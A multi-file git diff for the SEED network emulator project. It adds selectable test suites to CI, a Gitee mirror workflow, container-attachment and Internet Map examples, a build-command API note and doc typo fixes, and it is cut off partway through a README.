diff --git a/.github/workflows/on-pull-request.yaml b/.github/workflows/on-pull-request.yaml index 4bd1b46a1..ca4885b50 100644 --- a/.github/workflows/on-pull-request.yaml +++ b/.github/workflows/on-pull-request.yaml @@ -4,6 +4,35 @@ on: pull_request: branches: - master + - development + workflow_dispatch: + inputs: + run-quick-tests: + description: "Run quick tests | ignores other options for testing (they still apply for compile/build)" + type: boolean + required: false + default: "false" + run-basic-tests: + description: "Run basic tests | Compile and builds all the basic examples - Runs basic tests" + type: boolean + required: false + default: "true" + run-internet-tests: + description: "Run internet tests | Compile and builds all the internet examples - Runs internet tests" + type: boolean + required: false + default: "true" + run-blockchain-tests: + description: "Run blockchain tests | Compile and builds all the blockchain examples - Runs blockchain tests" + type: boolean + required: false + default: "false" + run-scion-tests: + description: "Run SCION tests | Compile and builds all the SCION examples - Runs SCION tests" + type: boolean + required: false + default: "false" + jobs: compile-examples: @@ -11,6 +40,12 @@ jobs: runs-on: ubuntu-latest permissions: contents: read + env: + SCION_TESTS: ${{ github.event.inputs.run-scion-tests || 'false' }} + BASIC_TESTS: ${{ github.event.inputs.run-basic-tests || 'true' }} + INTERNET_TESTS: ${{ github.event.inputs.run-internet-tests || 'true' }} + BLOCKCHAIN_TESTS: ${{ github.event.inputs.run-blockchain-tests || 'false' }} + QUICK_TESTS: ${{ github.event.inputs.run-quick-tests || 'false' }} steps: - name: Check out the source repository uses: actions/checkout@v4 @@ -22,6 +57,7 @@ jobs: cache-dependency-path: "**/*requirements.txt" - run: pip install -r requirements.txt -r dev-requirements.txt -r tests/requirements.txt - name: Get scion-pki + if: ${{ env.SCION_TESTS == 'true' }} run: | curl -fsSL -O https://github.com/scionproto/scion/releases/download/v0.12.0/scion_0.12.0_amd64_linux.tar.gz mkdir bin @@ -30,7 +66,20 @@ jobs: run: | source development.env export PATH=$PATH:$PWD/bin - tests/compile-and-build-test/compile-test.py + CMD="tests/compile-and-build-test/compile-test.py" + if [ "$BASIC_TESTS" == "true" ]; then + CMD+=" --basic" + fi + if [ "$INTERNET_TESTS" == "true" ]; then + CMD+=" --internet" + fi + if [ "$BLOCKCHAIN_TESTS" == "true" ]; then + CMD+=" --blockchain" + fi + if [ "$SCION_TESTS" == "true" ]; then + CMD+=" --scion" + fi + python $CMD run-tests: name: Run Tests @@ -38,6 +87,12 @@ jobs: runs-on: ubuntu-latest permissions: contents: read + env: + SCION_TESTS: ${{ github.event.inputs.run-scion-tests || 'false' }} + BASIC_TESTS: ${{ github.event.inputs.run-basic-tests || 'true' }} + INTERNET_TESTS: ${{ github.event.inputs.run-internet-tests || 'true' }} + BLOCKCHAIN_TESTS: ${{ github.event.inputs.run-blockchain-tests || 'false' }} + QUICK_TESTS: ${{ github.event.inputs.run-quick-tests || 'false' }} steps: - name: Check out the source repository uses: actions/checkout@v4 @@ -49,6 +104,7 @@ jobs: cache-dependency-path: "**/*requirements.txt" - run: pip install -r requirements.txt -r dev-requirements.txt -r tests/requirements.txt - name: Get scion-pki + if: ${{ env.SCION_TESTS == 'true' }} run: | curl -fsSL -O https://github.com/scionproto/scion/releases/download/v0.12.0/scion_0.12.0_amd64_linux.tar.gz mkdir bin @@ -57,7 +113,23 @@ jobs: run: | source development.env export PATH=$PATH:$PWD/bin - tests/run-tests.py --ci + CMD="tests/run-tests.py" + if [ "$QUICK_TESTS" == "true" ]; then + CMD+=" --ci" + fi + if [ "$BASIC_TESTS" == "true" ]; then + CMD+=" --basic" + fi + if [ "$INTERNET_TESTS" == "true" ]; then + CMD+=" --internet" + fi + if [ "$BLOCKCHAIN_TESTS" == "true" ]; then + CMD+=" --blockchain" + fi + if [ "$SCION_TESTS" == "true" ]; then + CMD+=" --scion" + fi + python $CMD - name: Archive test results uses: actions/upload-artifact@v4 with: @@ -75,6 +147,12 @@ jobs: runs-on: ubuntu-latest permissions: contents: read + env: + SCION_TESTS: ${{ github.event.inputs.run-scion-tests || 'false' }} + BASIC_TESTS: ${{ github.event.inputs.run-basic-tests || 'true' }} + INTERNET_TESTS: ${{ github.event.inputs.run-internet-tests || 'true' }} + BLOCKCHAIN_TESTS: ${{ github.event.inputs.run-blockchain-tests || 'false' }} + QUICK_TESTS: ${{ github.event.inputs.run-quick-tests || 'false' }} steps: - name: Check out the source repository uses: actions/checkout@v4 @@ -86,6 +164,7 @@ jobs: cache-dependency-path: "**/*requirements.txt" - run: pip install -r requirements.txt -r dev-requirements.txt -r tests/requirements.txt - name: Get scion-pki + if: ${{ github.event.inputs.run-scion-tests == 'true' }} run: | curl -fsSL -O https://github.com/scionproto/scion/releases/download/v0.12.0/scion_0.12.0_amd64_linux.tar.gz mkdir bin @@ -95,7 +174,20 @@ jobs: source development.env export PATH=$PATH:$PWD/bin cd tests/compile-and-build-test - ./compile-and-build-test.py + CMD="compile-and-build-test.py" + if [ "$BASIC_TESTS" == "true" ]; then + CMD+=" --basic" + fi + if [ "$INTERNET_TESTS" == "true" ]; then + CMD+=" --internet" + fi + if [ "$BLOCKCHAIN_TESTS" == "true" ]; then + CMD+=" --blockchain" + fi + if [ "$SCION_TESTS" == "true" ]; then + CMD+=" --scion" + fi + python $CMD - name: Archive test results uses: actions/upload-artifact@v4 with: diff --git a/.github/workflows/sync-gitee.yaml b/.github/workflows/sync-gitee.yaml new file mode 100644 index 000000000..a90a33764 --- /dev/null +++ b/.github/workflows/sync-gitee.yaml @@ -0,0 +1,25 @@ +name: sync2gitee +on: + push: + branches: + - master +jobs: + repo-sync: + env: + SSH_PRIVATE_KEY: ${{ secrets.GITEE_SSH_KEY }} + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + with: + persist-credentials: false + + - name: Configure Git + run: | + git config --global --add safe.directory /github/workspace + + - name: sync github -> gitee + uses: wearerequired/git-mirror-action@master + if: env.SSH_PRIVATE_KEY + with: + source-repo: "git@github.com:${{ github.repository }}.git" + destination-repo: "git@gitee.com:seedlab/seed-emulator.git" diff --git a/VM_images/SeedVM24.04/src-amd/Install_Packages.sh b/VM_images/SeedVM24.04/src-amd/Install_Packages.sh index e519607c9..edaa5fd43 100755 --- a/VM_images/SeedVM24.04/src-amd/Install_Packages.sh +++ b/VM_images/SeedVM24.04/src-amd/Install_Packages.sh @@ -1,4 +1,4 @@ git clone https://github.com/seed-labs/seed-emulator.git ~/seed-emulator cd ~/seed-emulator pip install -r ~/seed-emulator/requirements.txt -echo 'export PYTHONPATH="/home/seed/seed-emulator:$PYTHONPATH"' > ~/.bashrc \ No newline at end of file +echo 'export PYTHONPATH="/home/seed/seed-emulator:$PYTHONPATH"' >> ~/.bashrc diff --git a/VM_images/SeedVM24.04/src-arm/Install_Packages.sh b/VM_images/SeedVM24.04/src-arm/Install_Packages.sh index e519607c9..edaa5fd43 100755 --- a/VM_images/SeedVM24.04/src-arm/Install_Packages.sh +++ b/VM_images/SeedVM24.04/src-arm/Install_Packages.sh @@ -1,4 +1,4 @@ git clone https://github.com/seed-labs/seed-emulator.git ~/seed-emulator cd ~/seed-emulator pip install -r ~/seed-emulator/requirements.txt -echo 'export PYTHONPATH="/home/seed/seed-emulator:$PYTHONPATH"' > ~/.bashrc \ No newline at end of file +echo 'export PYTHONPATH="/home/seed/seed-emulator:$PYTHONPATH"' >> ~/.bashrc diff --git a/docs/user_manual/bgp.md b/docs/user_manual/bgp.md index 7e71f6a2c..a0b579a1f 100644 --- a/docs/user_manual/bgp.md +++ b/docs/user_manual/bgp.md @@ -82,7 +82,7 @@ and `PeerRelationship.Unfiltered` peers. We show how to allow the nodes inside an emulator to communicate with the machines on the real Internet. A complete example -can be found [here](../../examples/A03-real-world/). +can be found [here](../../examples/basic/A03_real_world/). To achieve this goal, we first need to create a BGP router to announce the real-world network prefixes inside the emulator, so the packets going to the diff --git a/docs/user_manual/node.md b/docs/user_manual/node.md index 80bf53914..c3287c35e 100644 --- a/docs/user_manual/node.md +++ b/docs/user_manual/node.md @@ -36,20 +36,33 @@ node.addSoftware("python3") Some of the software may have to be installed using some ad hoc commands, like `curl`, `wget`, etc. We can add the installation commands -using the `addBuildCommand()` API. +using the `addBuildCommand()` and `addBuildCommandAtEnd()` APIs. ```python node.addBuildCommand("curl http://example.com") +node.addBuildCommandAtEnd("unzip file.zip") ``` -This API will lead to the addition of a -`RUN` command in Dockerfile. When the container is built, the command +These APIs will lead to the addition of a +`RUN` command in Dockerfile. When the container is built, the specified command will be executed. ``` RUN curl http://example.com +... omitted ... +RUN unzip file.zip ``` +If we also invoke `importFile()` API, the file COPY command caused by +this API is actually placed after the RUN command caused by +the `addBuildCommand()` API. Therefore, if we need to use +the imported file in the RUN command, we will not be able to do that. +Because of this problem, we added a new API called +`addBuildCommandAtEnd()`. It will add a RUN command +towards the end of the `Dockerfile`, after all the +COPY command. + + ## Import and create file We may also install our own program on a node, or just simply diff --git a/examples/.gitignore b/examples/.gitignore new file mode 100644 index 000000000..763513e91 --- /dev/null +++ b/examples/.gitignore @@ -0,0 +1 @@ +.ipynb_checkpoints diff --git a/examples/.not_ready_examples/18-eth-private-network/README.md b/examples/.not_ready_examples/18-eth-private-network/README.md index 7036e4813..abbd7d802 100644 --- a/examples/.not_ready_examples/18-eth-private-network/README.md +++ b/examples/.not_ready_examples/18-eth-private-network/README.md @@ -39,7 +39,7 @@ e2.setBootNode(True) Note the step above is optional. If you do not set any node as boot node, all nodes in the emulation will be each other's boot nodes, which may impact performance if you have a large number of nodes. -To let other nodes know the enode URL of the current node, the boot node hosts a text file with a simple HTTP server containing the URL. By default, it runs on port `8088`. If you have run some other services on the node on that port, you change change the bootnode http server port with `setBootNodeHttpPort`: +To let other nodes know the enode URL of the current node, the boot node hosts a text file with a simple HTTP server containing the URL. By default, it runs on port `8088`. If you have run some other services on the node on that port, you change the bootnode http server port with `setBootNodeHttpPort`: ```python3 # optionally, set boot node http server port diff --git a/examples/.not_ready_examples/26-proof-of-authority/README.md b/examples/.not_ready_examples/26-proof-of-authority/README.md index a291312e4..dd70aea4f 100644 --- a/examples/.not_ready_examples/26-proof-of-authority/README.md +++ b/examples/.not_ready_examples/26-proof-of-authority/README.md @@ -31,7 +31,7 @@ ## Creating prefunded accounts ## component-blockchain.py output -- After configuring your network, the output of this file should should be similar to the picture below +- After configuring your network, the output of this file should be similar to the picture below ![Component output](images/component-blockchain-output.png) diff --git a/examples/Z00_external_demo/task2_proof.log b/examples/Z00_external_demo/task2_proof.log new file mode 100644 index 000000000..3aba568da Binary files /dev/null and b/examples/Z00_external_demo/task2_proof.log differ diff --git a/examples/Z00_external_demo/topology.py b/examples/Z00_external_demo/topology.py new file mode 100644 index 000000000..0cf259f86 --- /dev/null +++ b/examples/Z00_external_demo/topology.py @@ -0,0 +1,61 @@ +from seedemu.compiler import Docker +from seedemu.core import Emulator +from seedemu.layers import Base, Routing +from seedemu.layers.external import ExternalComponent, ExternalComponentLayer +from seedemu.core.ExternalEmulation import ExternalEmuSpec + + +def main(): + emu = Emulator() + base = Base() + routing = Routing() + ext_layer = ExternalComponentLayer() + + asn = 65000 + as0 = base.createAutonomousSystem(asn) + + # Internal network (so r0 has a "normal" interface) + as0.createNetwork("net0", prefix="10.65.0.0/24") + r0 = as0.createRouter("r0") + r0.joinNetwork("net0") + + # Create IX100 and connect r0 to it with a MANUAL IP (no auto ASN->IX mapping) + base.createInternetExchange(100) # creates network name "ix100" + r0.joinNetwork("ix100", "10.0.0.1") # IMPORTANT: no "/24" here + + # External component definition (what Task 2 is about) + ext = ExternalComponent( + name="ext-r0", + role="router", + asn=asn, + impl_type="generic", + ) + + ext.addInterface( + name="eth0", + network="ix100", + ip="10.0.0.2/24", + mac="02:00:00:00:00:01", + ) + + ext_layer.addComponent(ext) + emu.addLayer(base) + emu.addLayer(routing) + emu.addLayer(ext_layer) + + + emu.render() + print("Registered externals in Emulator:", list(emu.getExternalComponents().keys())) + + emu.compile(Docker(), output="output", override=True) + print("Compiled to .\\output") + + print("External component definition created:") + print(f" Name: {ext.name}") + print(f" Role: {ext.role}") + print(f" ASN: {ext.asn}") + for iface in ext.interfaces: + print(f" Interface {iface.name}: network={iface.network}, ip={iface.ip}, mac={iface.mac}") + +if __name__ == "__main__": + main() diff --git a/examples/basic/A00_simple_as/simple_as.py b/examples/basic/A00_simple_as/simple_as.py index 8f937ee76..159f38cb1 100755 --- a/examples/basic/A00_simple_as/simple_as.py +++ b/examples/basic/A00_simple_as/simple_as.py @@ -107,9 +107,12 @@ def run(dumpfile = None): else: emu.render() + # Attach the Internet Map container to the emulator + docker = Docker(platform=platform) + ############################################################################### # Compilation - emu.compile(Docker(platform=platform), './output', override=True) + emu.compile(docker, './output', override=True) if __name__ == '__main__': - run() \ No newline at end of file + run() diff --git a/examples/basic/A08_buildtime_docker/Dockerfile b/examples/basic/A08_buildtime_docker/Dockerfile index 1c93b1983..2e1f38d71 100644 --- a/examples/basic/A08_buildtime_docker/Dockerfile +++ b/examples/basic/A08_buildtime_docker/Dockerfile @@ -2,6 +2,11 @@ FROM python:slim WORKDIR /app +# Install minimal build tools required to build native dependencies (e.g., ckzg) +RUN apt-get update && \ + apt-get install -y --no-install-recommends build-essential && \ + rm -rf /var/lib/apt/lists/* + RUN PYTHONDONTWRITEBYTECODE=1 pip install --progress-bar off --no-cache-dir eth-account ENTRYPOINT [ "python", "-c", "import eth_account; print(eth_account.__version__)" ] diff --git a/examples/basic/A10_add_containers/README.md b/examples/basic/A10_add_containers/README.md index d6aa4f4ce..9c6d5f2b4 100644 --- a/examples/basic/A10_add_containers/README.md +++ b/examples/basic/A10_add_containers/README.md @@ -1,5 +1,8 @@ # Add existing containers +Note: this method is the older approach; we have introduced a new approach (listed +in another example). + In some cases, we already have a group of existing containers, we would like to add them to the emulator. How do we do this? In this example, the existing containers are put inside the diff --git a/examples/basic/A11_add_containers_new/README.md b/examples/basic/A11_add_containers_new/README.md new file mode 100644 index 000000000..db1dc72ba --- /dev/null +++ b/examples/basic/A11_add_containers_new/README.md @@ -0,0 +1,26 @@ +# Add existing containers + +In some cases, we already have an existing container image, and we want +some of the containers in the emulator to use this image. There are two +methods to do this. + + +## Method 1 + +In this method, we add existing containers when building the emulator. +We have implemented this feature in the `Docker` compiler class. The basic idea +is to tell the compiler that we want to attach an existing container to +a network inside the emulator. The compiler will then generate the corresponding +entry inside the `docker-compose.yml` file. + +See [this example](./method_1/) for details. + + +## Method 2 + +In this method, we add the existing containers after we have built the emulator. +Using this method, we first start the emulator, and then start the additional containers +from the existing images. We attach these containers to the networks created by the emulator. +This way, the new containers becomes part of the emultion. + +See [this example](../A10_add_containers/) for details. diff --git a/examples/basic/A11_add_containers_new/method_1/README.md b/examples/basic/A11_add_containers_new/method_1/README.md new file mode 100644 index 000000000..e108d3db7 --- /dev/null +++ b/examples/basic/A11_add_containers_new/method_1/README.md @@ -0,0 +1,104 @@ +# Add existing containers + + + +## Adding an existing container + +We have implemented an API called `attachCustomContainer` in the `Docker` compiler class. +It allows us to add a pre-constructed docker compose entry to the `docker-compose.yml` +file. The network field of this entry can be dynamically constructed through the `asn`, `net`, +`ip_address` arguements. The API also allow users to provide port-forwarding and +environment-variables arguements. + +``` +DOCKER_COMPOSE_ENTRY = """\ + {name}: + image: busybox:latest + container_name: {name} + privileged: true + command: /bin/sh -c " + ip route del default && + ip route add default via {default_route} && + tail -f /dev/null + " +""" + +# Attach an existing container to the emulator +docker.attachCustomContainer( + compose_entry = DOCKER_COMPOSE_ENTRY.format(name="busybox", + default_route=emu.getDefaultRouterByAsnAndNetwork(150, 'net0')), + asn=150, net='net0', ip_address='10.150.0.80', + port_forwarding="9090:80/tcp", env=['a=1', 'b=2']) + + +emu.compile(docker, './output', override=True) +``` + +If the `asn` field is not provided, the container will be attached to +the default network provided by the docker. This network is not reachable from inside +the emultor. If the `ip_address` is not provided, the actual IP address will either +be provided by docker, or by the DHCP server (if such as server is present and the +container is configured to use DHCP). + +When a new container is attached to a network, we need to set up its routing information. +In the example above, the container is attached to AS-150's `net0`, so we need to use +the router on this network. The following API helps us get the default router +of a specified network. + +``` +emu.getDefaultRouterByAsnAndNetwork(150, 'net0')) +``` + +We use the result from the API above to set the default router of the container. +These two commands are already included in the docker compose entry. + +``` +ip rou del default 2> /dev/null +ip route add default via 10.150.0.254 dev eth0 +``` + +It should be noted that running the `ip route add` command requires privileges. +We need to add the following options to the docker compose entry: + +``` + privileged: true +``` + + +## Adding the Internet MAP + +We can add the Internet MAP tool (an independent container) to the emulator using +the `attachInternetMap` API, which is a wrapper for the `attachCustomContainer` API (with +the docker compose entry hardcoded. In the future, we will develop useful tools for +the emulator, and they can be added in such a way. + +``` +docker.attachInternetMap(asn=150, net='net0', ip_address='10.150.0.90', + port_forwarding='8080:8080/tcp', env=['a=1', 'b=2']) + +``` + + + + + + +## Adding an existing container and show it on the map + +If we want the added container to show up on the InternetMap visualization tool, we just need to provide the `node_name` and `show_on_map` parameters. + +```python +docker.attachCustomContainer( + compose_entry = DOCKER_COMPOSE_ENTRY.format(name="busybox2", + default_route=emu.getDefaultRouterByAsnAndNetwork(150, 'net0')), + asn=150, net='net0', ip_address='10.150.0.81', + port_forwarding="9091:80/tcp", + node_name='busybox2', show_on_map=True) + +``` + +## Notes + +In this example, the custom container can be displayed on the map, but it cannot be operated on like other containers. We will resolve this issue in the future. + + diff --git a/examples/basic/A11_add_containers_new/method_1/add_container.py b/examples/basic/A11_add_containers_new/method_1/add_container.py new file mode 100755 index 000000000..71cce7ce8 --- /dev/null +++ b/examples/basic/A11_add_containers_new/method_1/add_container.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.layers import Base, Routing, Ebgp +from seedemu.services import WebService +from seedemu.compiler import Docker, Platform +from seedemu.core import Emulator, Binding, Filter +import sys, os + +# Note: the indent of the {name} field needs to match with the rest service entries +# in the docker-compose.yml file. +DOCKER_COMPOSE_ENTRY = """\ + {name}: + image: busybox:latest + container_name: {name} + privileged: true + command: /bin/sh -c " + ip route del default && + ip route add default via {default_route} && + tail -f /dev/null + " +""" + + +def run(dumpfile = None): + ############################################################################### + # Set the platform information + if dumpfile is None: + script_name = os.path.basename(__file__) + + if len(sys.argv) == 1: + platform = Platform.AMD64 + elif len(sys.argv) == 2: + if sys.argv[1].lower() == 'amd': + platform = Platform.AMD64 + elif sys.argv[1].lower() == 'arm': + platform = Platform.ARM64 + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + + # Initialize the emulator and layers + emu = Emulator() + base = Base() + routing = Routing() + ebgp = Ebgp() + web = WebService() + + ############################################################################### + # Create an Internet Exchange + base.createInternetExchange(100) + + ############################################################################### + # Create and set up AS-150 + + # Create an autonomous system + as150 = base.createAutonomousSystem(150) + + # Create a network + as150.createNetwork('net0') + + # Create a router and connect it to two networks + as150.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') + + # Create a host called web and connect it to a network + as150.createHost('web').joinNetwork('net0') + + # Create a web service on virtual node, give it a name + # This will install the web service on this virtual node + web.install('web150') + + # Bind the virtual node to a physical node + emu.addBinding(Binding('web150', filter = Filter(nodeName = 'web', asn = 150))) + + + ############################################################################### + # Create and set up AS-151 + # It is similar to what is done to AS-150 + + as151 = base.createAutonomousSystem(151) + as151.createNetwork('net0') + as151.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') + + as151.createHost('web').joinNetwork('net0') + web.install('web151') + emu.addBinding(Binding('web151', filter = Filter(nodeName = 'web', asn = 151))) + + ############################################################################### + # Create and set up AS-152 + # It is similar to what is done to AS-150 + + as152 = base.createAutonomousSystem(152) + as152.createNetwork('net0') + as152.createRouter('router0').joinNetwork('net0').joinNetwork('ix100') + + as152.createHost('web').joinNetwork('net0') + web.install('web152') + emu.addBinding(Binding('web152', filter = Filter(nodeName = 'web', asn = 152))) + + + ############################################################################### + # Peering these ASes at Internet Exchange IX-100 + + ebgp.addRsPeer(100, 150) + ebgp.addRsPeer(100, 151) + ebgp.addRsPeer(100, 152) + + + ############################################################################### + # Rendering + + emu.addLayer(base) + emu.addLayer(routing) + emu.addLayer(ebgp) + emu.addLayer(web) + + if dumpfile is not None: + emu.dump(dumpfile) + else: + emu.render() + + docker = Docker(platform=platform) + + # Attach an existing container to the emulator + docker.attachCustomContainer( + compose_entry = DOCKER_COMPOSE_ENTRY.format(name="busybox", default_route=emu.getDefaultRouterByAsnAndNetwork(150, 'net0')), + asn=150, net='net0', ip_address='10.150.0.80', + port_forwarding="9090:80/tcp", env=['a=1', 'b=2']) + + # Attach an existing container to the emulator (make it visiable on the + # Internet Map (i.e., adding meta data to the docker compse entry) + docker.attachCustomContainer( + compose_entry = DOCKER_COMPOSE_ENTRY.format(name="busybox2", default_route=emu.getDefaultRouterByAsnAndNetwork(150, 'net0')), + asn=150, net='net0', ip_address='10.150.0.81', + port_forwarding="9091:80/tcp", + node_name='busybox2', show_on_map=True) + + # Attach the Internet Map container to the emulator + # This API actually calls `attachCustomContainer` + docker.attachInternetMap(asn=151, net='net0', ip_address='10.151.0.90', + port_forwarding='8080:8080/tcp', env=['a=1', 'b=2']) + + + ############################################################################### + # Compilation + emu.compile(docker, './output', override=True) + +if __name__ == '__main__': + run() diff --git a/examples/basic/A11_add_containers_new/method_2 b/examples/basic/A11_add_containers_new/method_2 new file mode 120000 index 000000000..1a5b033f6 --- /dev/null +++ b/examples/basic/A11_add_containers_new/method_2 @@ -0,0 +1 @@ +../A10_add_containers \ No newline at end of file diff --git a/examples/internet/B00_mini_internet/mini_internet.py b/examples/internet/B00_mini_internet/mini_internet.py index 0c872a9f1..b584d64e7 100755 --- a/examples/internet/B00_mini_internet/mini_internet.py +++ b/examples/internet/B00_mini_internet/mini_internet.py @@ -144,7 +144,10 @@ def run(dumpfile=None, hosts_per_as=2): emu.dump(dumpfile) else: emu.render() - emu.compile(Docker(), './output', override=True) + + # Attach the Internet Map container to the emulator + docker = Docker(platform=platform) + emu.compile(docker, './output', override=True) if __name__ == "__main__": run() diff --git a/examples/internet/B00_mini_internet/ss.py b/examples/internet/B00_mini_internet/ss.py deleted file mode 100755 index 17d45547e..000000000 --- a/examples/internet/B00_mini_internet/ss.py +++ /dev/null @@ -1,139 +0,0 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu.layers import Base, Routing, Ebgp, Ibgp, Ospf, PeerRelationship, Dnssec -from seedemu.services import WebService, DomainNameService, DomainNameCachingService -from seedemu.services import CymruIpOriginService, ReverseDomainNameService, BgpLookingGlassService -from seedemu.compiler import Docker, Graphviz -from seedemu.hooks import ResolvConfHook -from seedemu.core import Emulator, Service, Binding, Filter -from seedemu.layers import Router -from seedemu.raps import OpenVpnRemoteAccessProvider -from seedemu.utilities import Makers - -from typing import List, Tuple, Dict - - -def run(dumpfile=None, hosts_per_as=2): - ############################################################################### - emu = Emulator() - base = Base() - routing = Routing() - ebgp = Ebgp() - ibgp = Ibgp() - ospf = Ospf() - web = WebService() - ovpn = OpenVpnRemoteAccessProvider() - - - ############################################################################### - - ix100 = base.createInternetExchange(100) - ix101 = base.createInternetExchange(101) - ix102 = base.createInternetExchange(102) - ix103 = base.createInternetExchange(103) - ix104 = base.createInternetExchange(104) - ix105 = base.createInternetExchange(105) - - # Customize names (for visualization purpose) - ix100.getPeeringLan().setDisplayName('NYC-100') - ix101.getPeeringLan().setDisplayName('San Jose-101') - ix102.getPeeringLan().setDisplayName('Chicago-102') - ix103.getPeeringLan().setDisplayName('Miami-103') - ix104.getPeeringLan().setDisplayName('Boston-104') - ix105.getPeeringLan().setDisplayName('Huston-105') - - - ############################################################################### - # Create Transit Autonomous Systems - - ## Tier 1 ASes - Makers.makeTransitAs(base, 2, [100, 101, 102, 105], - [(100, 101), (101, 102), (100, 105)] - ) - - Makers.makeTransitAs(base, 3, [100, 103, 104, 105], - [(100, 103), (100, 105), (103, 105), (103, 104)] - ) - - Makers.makeTransitAs(base, 4, [100, 102, 104], - [(100, 104), (102, 104)] - ) - - ## Tier 2 ASes - Makers.makeTransitAs(base, 11, [102, 105], [(102, 105)]) - Makers.makeTransitAs(base, 12, [101, 104], [(101, 104)]) - - - ############################################################################### - # Create single-homed stub ASes. "None" means create a host only - - Makers.makeStubAs(emu, base, 150, 100, [web, None]) - Makers.makeStubAs(emu, base, 151, 100, [web, None]) - Makers.makeStubAs(emu, base, 152, 101, [None, None]) - Makers.makeStubAs(emu, base, 153, 101, [web, None, None]) - Makers.makeStubAs(emu, base, 154, 102, [None, web]) - Makers.makeStubAs(emu, base, 160, 103, [web, None]) - Makers.makeStubAs(emu, base, 161, 103, [web, None]) - Makers.makeStubAs(emu, base, 162, 103, [web, None]) - Makers.makeStubAs(emu, base, 163, 104, [web, None]) - Makers.makeStubAs(emu, base, 164, 104, [None, None]) - Makers.makeStubAs(emu, base, 170, 105, [web, None]) - Makers.makeStubAs(emu, base, 171, 105, [None]) - - # An example to show how to add a host with customized IP address - as154 = base.getAutonomousSystem(154) - as154.createHost('host_2').joinNetwork('net0', address = '10.154.0.129') - - ############################################################################### - # Peering via RS (route server). The default peering mode for RS is PeerRelationship.Peer, - # which means each AS will only export its customers and their own prefixes. - # We will use this peering relationship to peer all the ASes in an IX. - # None of them will provide transit service for others. - - ebgp.addRsPeers(100, [2, 3, 4]) - ebgp.addRsPeers(102, [2, 4]) - ebgp.addRsPeers(104, [3, 4]) - ebgp.addRsPeers(105, [2, 3]) - - # To buy transit services from another autonomous system, - # we will use private peering - - ebgp.addPrivatePeerings(100, [2], [150, 151], PeerRelationship.Provider) - ebgp.addPrivatePeerings(100, [3], [150], PeerRelationship.Provider) - - ebgp.addPrivatePeerings(101, [2], [12], PeerRelationship.Provider) - ebgp.addPrivatePeerings(101, [12], [152, 153], PeerRelationship.Provider) - - ebgp.addPrivatePeerings(102, [2, 4], [11, 154], PeerRelationship.Provider) - ebgp.addPrivatePeerings(102, [11], [154], PeerRelationship.Provider) - - ebgp.addPrivatePeerings(103, [3], [160, 161, 162], PeerRelationship.Provider) - - ebgp.addPrivatePeerings(104, [3, 4], [12], PeerRelationship.Provider) - ebgp.addPrivatePeerings(104, [4], [163], PeerRelationship.Provider) - ebgp.addPrivatePeerings(104, [12], [164], PeerRelationship.Provider) - - ebgp.addPrivatePeerings(105, [3], [11, 170], PeerRelationship.Provider) - ebgp.addPrivatePeerings(105, [11], [171], PeerRelationship.Provider) - - - ############################################################################### - - # Add layers to the emulator - emu.addLayer(base) - emu.addLayer(routing) - emu.addLayer(ebgp) - emu.addLayer(ibgp) - emu.addLayer(ospf) - emu.addLayer(web) - - if dumpfile is not None: - # Save it to a file, so it can be used by other emulators - emu.dump(dumpfile) - else: - emu.render() - emu.compile(Docker(), './output', override=True) - -if __name__ == "__main__": - run() diff --git a/examples/internet/B02_mini_internet_with_dns/README.md b/examples/internet/B02_mini_internet_with_dns/README.md index 7a2c049bb..a6e9737c0 100644 --- a/examples/internet/B02_mini_internet_with_dns/README.md +++ b/examples/internet/B02_mini_internet_with_dns/README.md @@ -98,7 +98,7 @@ emu.addBinding(Binding('global-dns', filter = Filter(asn=153, nodeName="local-dn ``` We need to add 10.153.0.53 as the local DNS server for all the nodes in the emulation. -This is done by adding the following record record in `/etc/resolve.conf`: +This is done by adding the following record in `/etc/resolve.conf`: ``` nameserver 10.153.0.53 ``` diff --git a/examples/internet/B06_internet_map/README.md b/examples/internet/B06_internet_map/README.md new file mode 100644 index 000000000..2d33ea1a0 --- /dev/null +++ b/examples/internet/B06_internet_map/README.md @@ -0,0 +1,106 @@ +# Building an internet_map + +## Building an internet_map that can communicate with the SEED Emulator network +By default, the internet_map network and the SEED Emulator network are not connected. +In this example, we show how to enable internet communication between the internet_map network and the SEED Emulator +network through docker's environment variables. + +We create the internet_map container and set its asn, net, ip_address, port_forwarding, and env. +DEFAULT_ROUTE is the default route set for the map container + +See the comments in the code for detailed explanation. + +### Step 1) Set params to InternetMap + +```python +docker.attachInternetMap( + asn=151, net='net0', ip_address='10.151.0.90', node_name='access_node', + port_forwarding='8080:8080/tcp', env=['DEFAULT_ROUTE=10.151.0.254'] +) +``` + +## Building an internet_map that prohibits access to the node console + +By default, the internet_map is the CONSOLE that allows access to all nodes. +For security reasons, the environment variable "console" is provided. When it is "false", access to the console is prohibited. + +We create the internet_map container and set its port_forwarding, and env. +CONSOLE controls whether access to the console is enabled. + +`CONSOLE=false`, disabled + +`CONSOLE=true`, enabled + +`Default`, enabled + +See the comments in the code for detailed explanation. + +### Step 1) Set params to InternetMap + +```python +docker.attachInternetMap( + node_name='no_access_node', port_forwarding='8081:8080/tcp', env=['CONSOLE=false'] +) +``` + +## submit_event plugin + +**Please start the emulator and map container in `examples/internet/B06_internet_map` first** + +1. visit [http://localhost:8080/plugin.html](http://localhost:8080/plugin.html), click "install" on the "submit_event" line to install "submit_event". +2. enter any host container, (e.g., `docker exec -it as150h-host_1-10.150.0.72 bash`) +3. execute the submit_event.sh script in the container + - `bash /map-plugins/submit_event.sh -a flash`, the container will flash. + - `bash /map-plugins/submit_event.sh -a highlight`, the container will be highlighted. + - `bash /map-plugins/submit_event.sh -a flash -s /option.json`, the container will alternately flash according to the static and dynamic styles defined in the json file. + - `bash /map-plugins/submit_event.sh -a highlight -s /option.json`, the container will be displayed in the static style defined in the json file. + ```json + // option.json e.g.1 + { + # The hightlight style + "highlight": { ... }, + # The flashing style. Flashing includes two styles; it basically switches between these two styles + "flash": { # both fields can be null, using the default setting + "static": { ... }, + "dynamic": { ... }, + "duration": N # The duration between two flashes (in milliseconds), default 300ms (only meaningful for the continuous flashing option) + } + } + ``` + + The ... above represents the actual style specificataion, which follows the official `vis-network` document. Please see [vis-network](https://visjs.github.io/vis-network/docs/network/nodes.html) for more detailed explanation. Here we give an example. + ```js + { + 